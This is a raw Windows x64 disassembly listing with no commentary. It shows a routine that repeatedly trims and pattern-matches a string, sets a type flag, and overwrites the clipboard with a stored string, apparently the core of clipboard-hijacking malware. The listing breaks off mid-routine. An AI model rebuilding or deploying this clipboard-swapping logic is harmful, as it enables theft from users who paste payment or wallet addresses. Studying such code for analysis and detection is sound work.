call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000d831
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f0150]
inc rdx
lea r8, [0x1400f0140]
cmp qword [0x1400f0158], 0xf
cmova r8, qword [0x1400f0140]
jmp 0x14000ed63
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000d8e6
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000d8e1
cmp rcx, rdx
je 0x14000d8e6
dec rcx
cmp byte [rcx], 0x20
je 0x14000d8d4
sub rcx, rdx
jmp 0x14000d8ed
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee41
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000d951
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000d951
nop dword [rax]
cmp byte [rax], 0x20
jne 0x14000da73
inc rax
cmp rax, rcx
jb 0x14000d940
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
bts r13d, 0xa
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f03c0]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000da39
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000da39
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000da80
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000da7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee46
jmp 0x14000da7b
sub rax, rdx
jmp 0x14000d958
call fcn.140084d80
test bl, bl
je 0x14000daeb
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000da84
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f0410]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000da84
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f0410]
inc rdx
lea r8, [0x1400f0400]
cmp qword [0x1400f0418], 0xf
cmova r8, qword [0x1400f0400]
jmp 0x14000ed63
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000db39
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000db34
cmp rcx, rdx
je 0x14000db39
dec rcx
cmp byte [rcx], 0x20
je 0x14000db27
sub rcx, rdx
jmp 0x14000db40
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee4c
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000dba1
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000dba1
nop
cmp byte [rax], 0x20
jne 0x14000dcc3
inc rax
cmp rax, rcx
jb 0x14000db90
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
bts r13d, 0xb
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f0440]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000dc89
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000dc89
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000dcd0
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dccb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee51
jmp 0x14000dccb
sub rax, rdx
jmp 0x14000dba8
call fcn.140084d80
test bl, bl
je 0x14000dd3b
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000dcd4
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f0210]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000dcd4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f0210]
inc rdx
lea r8, [0x1400f0200]
cmp qword [0x1400f0218], 0xf
cmova r8, qword [0x1400f0200]
jmp 0x14000ed63
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000dd89
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000dd84
cmp rcx, rdx
je 0x14000dd89
dec rcx
cmp byte [rcx], 0x20
je 0x14000dd77
sub rcx, rdx
jmp 0x14000dd90
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee57
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000ddf1
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000ddf1
nop
cmp byte [rax], 0x20
jne 0x14000df10
inc rax
cmp rax, rcx
jb 0x14000dde0
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
bts r13d, 0xc
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f0280]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rdx, qword [rsp + 0x30]
add rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000ded6
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000ded6
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000df1d
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000df18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee5c
jmp 0x14000df18
sub rax, rdx
jmp 0x14000ddf8
call fcn.140084d80
test bl, bl
je 0x14000df88
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000df21
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f04f0]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000df21
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f04f0]
inc rdx
lea r8, [0x1400f04e0]
cmp qword [0x1400f04f8], 0xf
cmova r8, qword [0x1400f04e0]
jmp 0x14000ed63
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000dfd6
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000dfd1
cmp rcx, rdx
je 0x14000dfd6
dec rcx
cmp byte [rcx], 0x20
je 0x14000dfc4
sub rcx, rdx
jmp 0x14000dfdd
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee62
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000e041
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000e041
nop dword [rax]
cmp byte [rax], 0x20
jne 0x14000e160
inc rax
cmp rax, rcx
jb 0x14000e030
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
bts r13d, 0xd
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f0460]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rdx, qword [rsp + 0x30]
add rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000e126
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000e126
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000e16d
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e168
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee67
jmp 0x14000e168
sub rax, rdx
jmp 0x14000e048
call fcn.140084d80
test bl, bl
je 0x14000e1d8
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000e171
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f01b0]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000e171
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f01b0]
inc rdx
lea r8, [0x1400f01a0]
cmp qword [0x1400f01b8], 0xf
cmova r8, qword [0x1400f01a0]
jmp 0x14000ed63
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000e226
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000e221
cmp rcx, rdx
je 0x14000e226
dec rcx
cmp byte [rcx], 0x20
je 0x14000e214
sub rcx, rdx
jmp 0x14000e22d
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee6d
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000e291
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000e291
nop dword [rax]
cmp byte [rax], 0x20
jne 0x14000e3b3
inc rax
cmp rax, rcx
jb 0x14000e280
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
bts r13d, 0xe
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f02a0]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000e379
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000e379
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000e3c0
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e3bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee72
jmp 0x14000e3bb
sub rax, rdx
jmp 0x14000e298
call fcn.140084d80
test bl, bl
je 0x14000e42b
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000e3c4
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f0110]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000e3c4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f0110]
inc rdx
lea r8, [0x1400f0100]
cmp qword [0x1400f0118], 0xf
cmova r8, qword [0x1400f0100]
jmp 0x14000ed63
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000e479
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000e474
cmp rcx, rdx
je 0x14000e479
dec rcx
cmp byte [rcx], 0x20
je 0x14000e467
sub rcx, rdx
jmp 0x14000e480
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee78
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000e4e1
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000e4e1
nop
cmp byte [rax], 0x20
jne 0x14000e603
inc rax
cmp rax, rcx
jb 0x14000e4d0
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
bts r13d, 0xf
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f0420]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000e5c9
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000e5c9
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000e610
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e60b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee7d
jmp 0x14000e60b
sub rax, rdx
jmp 0x14000e4e8
call fcn.140084d80
test bl, bl
je 0x14000e67b
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000e614
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f0230]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000e614
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f0230]
inc rdx
lea r8, [0x1400f0220]
cmp qword [0x1400f0238], 0xf
cmova r8, qword [0x1400f0220]
jmp 0x14000ed63
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000e6c9
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000e6c4
cmp rcx, rdx
je 0x14000e6c9
dec rcx
cmp byte [rcx], 0x20
je 0x14000e6b7
sub rcx, rdx
jmp 0x14000e6d0
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee83
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000e731
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000e731
nop
cmp byte [rax], 0x20
jne 0x14000e850
inc rax
cmp rax, rcx
jb 0x14000e720
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
bts r13d, 0x10
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f03e0]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rdx, qword [rsp + 0x30]
add rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000e816
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000e816
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000e85d
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e858
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee88
jmp 0x14000e858
sub rax, rdx
jmp 0x14000e738
call fcn.140084d80
test bl, bl
je 0x14000e8c8
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000e861
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f0170]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000e861
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f0170]
inc rdx
lea r8, [0x1400f0160]
cmp qword [0x1400f0178], 0xf
cmova r8, qword [0x1400f0160]
jmp 0x14000ed63
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r10b
mov r9, qword [rsp + 0x58]
cmova rdx, r9
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x14000e916
lea rax, [r8 - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rdx
cmp byte [rcx], 0x20
jne 0x14000e911
cmp rcx, rdx
je 0x14000e916
dec rcx
cmp byte [rcx], 0x20
je 0x14000e904
sub rcx, rdx
jmp 0x14000e91d
mov rcx, 0xffffffffffffffff
inc rcx
cmp r8, rcx
jb 0x14000ee8e
lea rax, [rsp + 0x58]
test r10b, r10b
cmovne rax, r9
mov qword [rsp + 0x68], rcx
mov byte [rax + rcx], 0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0xf
seta r9b
mov r8, qword [rsp + 0x58]
cmova rdx, r8
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x14000e981
lea rcx, [rbx + rdx]
mov rax, rdx
cmp rdx, rcx
jae 0x14000e981
nop dword [rax]
cmp byte [rax], 0x20
jne 0x14000eaa0
inc rax
cmp rax, rcx
jb 0x14000e970
mov rax, 0xffffffffffffffff
cmp rbx, rax
cmovb rax, rbx
lea rcx, [rsp + 0x58]
test r9b, r9b
cmovne rcx, r8
sub rbx, rax
lea r8, [rbx + 1]
lea rdx, [rcx + rax]
call fcn.1400b72c0
mov qword [rsp + 0x68], rbx
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140013940
bts r13d, 0x11
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], rax
lea rdx, [0x1400f0500]
lea rcx, [rsp + 0x78]
call fcn.140015970
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
seta r9b
cmova rdx, qword [rsp + 0x30]
add rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x30]
test r9b, r9b
cmovne rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x78]
call fcn.1400196f0
movzx ebx, al
lea rcx, [rsp + 0x78]
call fcn.140013e40
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x14000ea66
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14000ea66
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x14000eaad
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eaa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ee93
jmp 0x14000eaa8
sub rax, rdx
jmp 0x14000e988
call fcn.140084d80
test bl, bl
je 0x14000eb18
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x14000eab1
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, qword [0x1400f0370]
inc rdx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rbx, rax
test rax, rax
je 0x14000eab1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x14000ed6e
mov rdx, qword [0x1400f0370]
inc rdx
lea r8, [0x1400f0360]
cmp qword [0x1400f0378], 0xf
cmova r8, qword [0x1400f0360]
